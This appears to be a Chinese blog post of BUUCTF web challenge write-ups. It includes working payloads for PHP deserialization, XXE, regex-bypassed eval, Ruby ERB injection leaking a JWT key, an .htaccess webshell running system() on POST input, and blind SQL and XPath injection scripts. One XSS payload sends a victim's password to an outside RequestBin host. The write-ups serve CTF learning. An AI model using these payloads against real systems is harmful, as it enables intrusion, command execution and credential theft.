image-20240603211922589

[极客大挑战 2020]Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

审计代码

反序列化

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

绕过该条件,在类中不能数组绕过,使用php原生类绕过

使用含有 __toString 方法的php内置类来绕过,用的两个比较多的内置类是 Exception 和Error ,他们之中有一个 __toString 方法 ,当类被当作字符串处理时,就会调用这个函数

img

以字符串的形式 输出当前报错,包含当前的错误信息, 以及他出现错误的行号 (3),但传入Error (“payload”,9)中的错误代码 “9 ” 则没有被输出出来

img

可见 $a 和$b 这两个对象本身是不同的。但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前的行号

Exception 类与Error 类的使用和结果完全一样,只不过Exception 类适用于PHP 5和7 而Error 只适用于php7

思路:将题目代码中的$syc 和 $lover 分别声明为类似上面的内置类对象,让这两个对象本身不同 (传入的错误代码), 但是 __toString 方法输出的结果相同即可。

preg_match 过滤了小括号,无法调用函数,构造include "/flag",过滤了引号,我们直接用url 取反绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$m = urlencode(~'/flag');
$str = "?><?=include~".urldecode($m)."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

注意版本为php7

payload:

1
http://b596e779-564c-4d3e-9707-b997850ea37d.node5.buuoj.cn:81/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22D%3A%5Cuntitled%5C24.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22D%3A%5Cuntitled%5C24.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

[BSidesCF 2019]SVGMagic

image-20240604210817856

应该是上传svg文件然后转换为png文件

查下svg文件是什么

SVG,可缩放矢量图形(Scalable Vector Graphics),是一种用于描述二维图形的 XML 标记语言。

猜测为xxe漏洞

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
// /proc/self/cwd 获取当前进程运行目录

image-20240604212853558

[ISITDTU 2019]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

绕过两个if进行rce

查看正则匹配

https://regex101.com/

image-20240605194601841

1
2
3
\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符

匹配以上字符直接die

1
2
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

不能提交超过13(<=13)种字符

没有过滤~^字符,想到可以取反编码绕过和异或绕过关于PHP正则的一些绕过方法

1
2
(~%8F%97%8F%96%91%99%90)();
#phpinfo();取反编码绕过
1
2
3
4
5
6
7
8
final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:
for i in allowed:
for p in allowed:
if ord(i)^ord(p)==ord(a):
print("i=%s p=%s a=%s"%(i,p,a))
#暴力搜索符合条件的字符串,例如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff

查看phpinfo中的disable_functions

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

没有屏蔽print_r()和scandir(),可以打组合拳对系统目录和文件进行查看,但是还要考虑字符种类不能超过13的这个限制:

1
2
3
4
5
<?php
$_ = "print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_), 0x3));
//返回15
?>

需要缩减字符数

print_r用异或表示即:

1
2
3
<?php
echo urlencode('print_r' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff

scandir(.)用异或表示即

1
2
3
4
5
<?php
$a = urlencode('scandir' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
$b = urlencode('.' ^ urldecode('%ff'));
echo $a.'^%ff%ff%ff%ff%ff%ff%ff'.'('.$b.'^%ff'.')';
//%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff(%D1^%ff)

合起来

1
print_r(scandir(.));=((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));

字符数超了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)
#缩减字符数
1
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

将其传入得到当前目录的文件:

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

用end()返回数组的最后一项:

img

构造readfile(end(scandir(.)))即可。

readfile用异或表示即:

1
(%8c%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)

end用异或表示即:

1
(%8c%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)

因此,readfile(end(scandir(.)))正常合起来,又经过替代后可得:

1
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

[SCTF2019]Flag Shop

image-20240606215708900

buy flag

image-20240606215740837

抓包看看

image-20240606215927433

jwt加密,需要找到key

robots.txt存在

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

Ruby ERB模板注入

【技术分享】手把手教你如何完成Ruby ERB模板注入

1
2
3
work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
//urlencode
work?SECRET=&name=%3C%25%3D%24'%25%3E&do=%3C%25%3D%24'%25%3E%20is%20working

返回如下,这样就拿到了当下的jwt token和key

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: openresty
Date: Tue, 10 Aug 2021 08:55:15 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 176
Connection: close
Set-Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJmMDBmZjcwNi02ZDFhLTQzOGQtOGM0OC02ZWMyYTNkN2Y1MzIiLCJqa2wiOjc1fQ.KH-pPeCd_V98pV9VdNCGEATa3XofmPKd934pW7mDqvw; domain=0e50b8a0-5392-476e-a5ce-cd30228e8582.node4.buuoj.cn; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

<script>alert('ebe18e25bc2e1a0d8d48db9b6df08d7101eed13861254583d435edf271c197e636d5e57a74a650fc39cbeaf4a78226d8290f2407cc0471d1314a5f4ea44d1877 working successfully!')</script>

有了key后直接修改金额

返回成功

img

flag藏在jwt里

img

[羊城杯2020]easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

写入文件,限定当前目录下非”index.php”的文件都会被删除。

考虑写入.htaccess文件,它比较灵活,不需要重启服务器,也不需要管理员权限。其格式为php_value 名称 值,在这里写入🐎(以注释的方式),然后在页面顶部加载它

存在对file的过滤 ,在.htaccess中\的作用是拼接上下文

#在htaccess文件中是注释符的意思,但是在执行php文件中会直接执行后面的一句话,\的作用是注释后面的拼接,以执行命令

1
2
3
php_value auto_prepend_fi\
le ".htaccess"
# <?php system($_POST["cmd"]);?>\

payload:

1
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\

[RoarCTF 2019]Online Proxy

看源代码发现

image-20241023223417501

通过X-Forwarded-For,可以伪造我们的IP,而且还会显示last和current,ip

先输入 1’ or ‘1 此时我们的current IP就等于它,让后我们再随便换一个其他的东西,只要和刚才那个不一样就可以,比如111,那么我们的current IP就成了:111,而last IP就是1’ or ‘1,此时1’ or ‘1已经写入了数据库 .因为第一次和第二次传输的IP不一样,所以服务器并不会从数据库找last IP,它会把上次的IP(1’or ‘1)直接显示为last IP,让后存入数据库。那么我们再传一次111,因为和currnet IP相同,那么last IP就会从数据库里寻找,也就是会执行1’or‘1,结果为1。

就是需要尝试三次,我们第一次输入的ip才会进入数据库的查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests


url = "http://node5.buuoj.cn:26696/"

#这个head头好像必须加cookie
head ={
"X-Forwarded-For":"",
"Cookie" : "track_uuid=9c34a137-919c-4ae0-b8ed-c71fd0d775bc"
}

# #查库名
#payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag =""

for i in range(1,1000):
low = 32
high =137
mid = (low+high)//2

while(low < high):
print(i,mid)
'''插入sql语句'''
payload1 = payload.format(i,mid)
head["X-Forwarded-For"] = payload1
print(head["X-Forwarded-For"])
r = requests.get(url,headers=head)

'''重新发送两次请求'''
head["X-Forwarded-For"]= "penson"
r = requests.get(url,headers=head)
r = requests.get(url,headers=head)

if "Last Ip: 1 " in r.text:
low = mid+1
else:
high = mid

mid =(low+high)//2


if(mid ==32 or mid ==127):
break
flag +=chr(mid)
print(flag)

print(flag)

[GWCTF 2019]mypassword

注册登录

加载了一个js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

可以看出,用户名和密码都填入了表单
登录成功后有一个feedback.php的用户反馈
image-20241024220859718

在这个页面的源码中存在注释

        if(is_array($feedback)){
            echo "<script>alert('反馈不合法');</script>";
            return false;
        }
        $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
        foreach ($blacklist as $val) {
            while(true){
                if(stripos($feedback,$val) !== false){
                    $feedback = str_ireplace($val,"",$feedback);
                }else{
                    break;
                }
            }
        }

RequestBin提供了一个URL,该URL将收集对其发出的请求

poc

1
2
3
4
5
6
7
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>

image-20241024221023578

[NPUCTF2020]ezlogin

xpath注入这篇文章有关于xpath很详细的解答,包括原理等,详细了解请见此篇.

打开网页,登陆框

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
import re

s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'



head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
for j in strs:

r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


print(payload_password)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)


if "非法操作" in r.text:
flag+=j
print(flag)
break

if "用户名或密码错误!" in r.text:
break

print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>

登录获得信息,用伪协议进行文件读取

1
?file=pHp://filter/convert.BAse64-encode/resource=/flag

[羊城杯 2020]Blackcat

下载Hei_Mao_Jing_Chang.mp3文件,使用命令strings Hei_Mao_Jing_Chang.mp3查看文件
在文末看到一段PHP代码

1
2
3
4
5
6
7
8
9
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('
echo exec("nc".$_POST['One-ear']);

hash_hmac($algo, $data, $key):

当传入的$data为数组时,加密得到的结果固定为NULL

让White-cat-monitor的值是一个数组,这样使得clandestine的值为null,

那么第四行可以看成:$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], null);

要知道hh的值,我们得知道One-ear的值:由于exec只返回命令执行结果的最后一行内容,我们可以使用;来执行多条命令,然后使用dir来显示文件夹内容,所以 One-ear=;dir

1
White-cat-monitor[]=1& Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395& One-ear=;dir

“tac f*|grep {” 。它的作用是逆向输出当前目录下以f开头的所有文件的内容,并从内容中查找包含“{”字符的行。“|”表示管道符号,将前一个命令的输出作为参数传递给下一个命令。

payload:

1
Black-Cat-Sheriff=269afa1c6d77e37919c94f9c75a028819193c7b51aee2d46222cda81fe154538&One-ear=;tac f*|grep \{&White-cat-monitor[]=1

或者直接查看环境变量

1
White-cat-monitor[]=0&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

buuctf
http://example.com/2023/08/06/刷题/buuctf(web)/
作者
Englobe
发布于
2023年8月6日
许可协议